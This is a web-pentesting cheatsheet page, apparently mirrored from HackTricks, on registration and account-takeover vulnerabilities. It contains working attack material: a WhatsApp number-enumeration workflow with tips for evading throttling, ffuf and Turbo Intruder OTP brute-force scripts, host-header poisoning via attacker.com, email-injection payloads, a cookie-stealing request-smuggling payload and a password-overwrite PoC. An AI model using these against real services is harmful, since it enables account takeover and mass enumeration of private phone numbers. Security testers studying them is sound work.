repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
registration-vulnerabilities.mdMarkdown359 lines17.0 KiBsource raw download

title: "Registration & Takeover Vulnerabilities" section: "Web Pentesting" sectionSlug: "pentesting-web" sourcePath: "src/pentesting-web/registration-vulnerabilities.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/registration-vulnerabilities.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: false modified: true license: "CC-BY-NC-4.0"#

Registration & Takeover Vulnerabilities#

Registration Takeover#

Duplicate Registration#

Username Enumeration#

Check if you can figure out when a username has already been registered inside the application.

Password Policy#

When creating a user, check whether the password policy permits weak passwords. If it does, assess whether credential brute force is also insufficiently rate-limited.

SQL Injection#

Check this page for techniques to test SQL injection in registration forms, including account-takeover and data-extraction paths.

OAuth Takeovers#

Oauth To Account Takeover

SAML Vulnerabilities#

Saml Attacks

Change Email#

After registration, try changing the email address and verify that ownership of the new address is validated before it becomes trusted.

More Checks#

Phone Number Injections

Captcha Bypass

Contact-discovery / identifier-enumeration oracles#

Phone-number–centric messengers expose a presence oracle whenever the client syncs contacts. Replaying WhatsApp’s discovery requests historically delivered >100M lookups per hour, enabling near-complete account enumerations.[4]

Attack workflow

  1. Instrument an official client to capture the address-book upload request (authenticated blob of normalized E.164 numbers). Replay it with attacker-generated numbers while reusing the same cookies/device token.
  2. Batch numbers per request: WhatsApp accepts thousands of identifiers and returns registered/unregistered plus metadata (business, companion, etc.). Analyze responses offline to build target lists without messaging victims.
  3. Horizontally scale enumeration with SIM banks, cloud devices, or residential proxies so per-account/IP/ASN throttling never triggers.

Dialing-plan modeling

Model each country’s dialing plan to skip invalid candidates. The NDSS dataset (country-table.*) lists country codes, adoption density, and platform split so you can prioritize high-hit ranges. Example seeding code:

import pandas as pd
from itertools import product

df = pd.read_csv("country-table.csv")
row = df[df["Country"] == "India"].iloc[0]
prefix = "+91"  # India mobile numbers are 10 digits
for suffix in product("0123456789", repeat=10):
    candidate = prefix + "".join(suffix)
    enqueue(candidate)

Prioritise prefixes that match real allocations (Mobile Country Code + National Destination Code) before querying the oracle to keep throughput useful.

Turning enumerations into targeted attacks

Public-key reuse correlation

WhatsApp exposes each account’s X25519 identity key during session setup. Request identity material for every enumerated number and deduplicate the public keys to reveal account farms, cloned clients, or insecure firmware—shared keys deanonymize multi-SIM operations.

Registration flows often verify ownership via a numeric OTP or a magic-link token. Typical flaws:

Bruteforcing example with ffuf against a JSON OTP endpoint:

ffuf -w <wordlist_of_codes> -u https://target.tld/api/verify -X POST \
  -H 'Content-Type: application/json' \
  -d '{"email":"victim@example.com","code":"FUZZ"}' \
  -fr 'Invalid|Too many attempts' -mc all

Parallel/concurrent guessing to bypass sequential lockouts (use Turbo Intruder in Burp):

Turbo Intruder snippet to flood 6‑digit OTP attempts
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=100)
    for code in range(0,1000000):
        body = '{"email":"victim@example.com","code":"%06d"}' % code
        engine.queue(target.req, body=body)


def handleResponse(req, interesting):
    if req.status != 401 and b'Invalid' not in req.response:
        table.add(req)

Rate Limit Bypass

2Fa Bypass

Email Injections

Account Pre‑Hijacking Techniques (before the victim signs up)#

A powerful class of issues occurs when an attacker performs actions on the victim’s email before the victim creates their account, then regains access later.

Key techniques to test (adapt to the target’s flows):

Practical tips

Note: Extensive methodology and case studies of these techniques are documented by Microsoft’s pre‑hijacking research (see References at the end).[2]

Reset Password

Race Condition

Password Reset Takeover#

Password Reset Token Leak Via Referrer #

  1. Request password reset to your email address
  2. Click on the password reset link
  3. Don’t change password
  4. Click any 3rd party websites(eg: Facebook, twitter)
  5. Intercept the request in Burp Suite proxy
  6. Check if the referer header is leaking password reset token.

Password Reset Poisoning #

  1. Intercept the password reset request in Burp Suite
  2. Add or edit the following headers in Burp Suite : Host: attacker.com, X-Forwarded-Host: attacker.com
  3. Forward the request with the modified header
    http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
  4. Look for a password reset URL based on the host header like : https://attacker.com/reset-password.php?token=TOKEN

Password Reset Via Email Parameter #

# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR on API Parameters #

  1. Attacker have to login with their account and go to the Change password feature.
  2. Start the Burp Suite and Intercept the request
  3. Send it to the repeater tab and edit the parameters : User ID/email
    powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

Weak Password Reset Token #

The password reset token should be randomly generated and unique every time.
Try to determine if the token expire or if it’s always the same, in some cases the generation algorithm is weak and can be guessed. The following variables might be used by the algorithm.[3]

Leaking Password Reset Token #

  1. Trigger a password reset request using the API/UI for a specific email e.g: test@mail.com
  2. Inspect the server response and check for resetToken
  3. Then use the token in an URL like https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

Password Reset Via Username Collision #

  1. Register on the system with a username identical to the victim’s username, but with white spaces inserted before and/or after the username. e.g: "admin "
  2. Request a password reset with your malicious username.
  3. Use the token sent to your email and reset the victim password.
  4. Connect to the victim account with the new password.

The platform CTFd was vulnerable to this attack.
See: CVE-2020-7245

Account Takeover Via Cross Site Scripting #

  1. Find an XSS inside the application or a subdomain if the cookies are scoped to the parent domain : *.domain.com
  2. Leak the current sessions cookie
  3. Authenticate as the user using the cookie

Account Takeover Via HTTP Request Smuggling #

  1. Use smuggler to detect the type of HTTP Request Smuggling (CL, TE, CL.TE)
    powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h\
  2. Craft a request which will overwrite the POST / HTTP/1.1 with the following data:
    GET http://something.burpcollaborator.net HTTP/1.1 X: with the goal of open redirect the victims to burpcollab and steal their cookies\
  3. Final request could look like the following
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Hackerone reports exploiting this bug\

Account Takeover via CSRF #

  1. Create a payload for the CSRF, e.g: “HTML form with auto submit for a password change”
  2. Send the payload

Account Takeover via JWT #

JSON Web Tokens may be used to authenticate a user.

Hacking Jwt Json Web Tokens

Registration-as-Reset (Upsert on Existing Email)#

Some signup handlers perform an upsert when the provided email already exists. If the endpoint accepts a minimal body with an email and password and does not enforce ownership verification, sending the victim's email will overwrite their password pre-auth.[1]

{"email":"victim@example.com","password":"New@12345"}

Example PoC:

POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json

{"email":"victim@example.com","password":"New@12345"}

Impact: Full Account Takeover (ATO) without any reset token, OTP, or email verification.

References#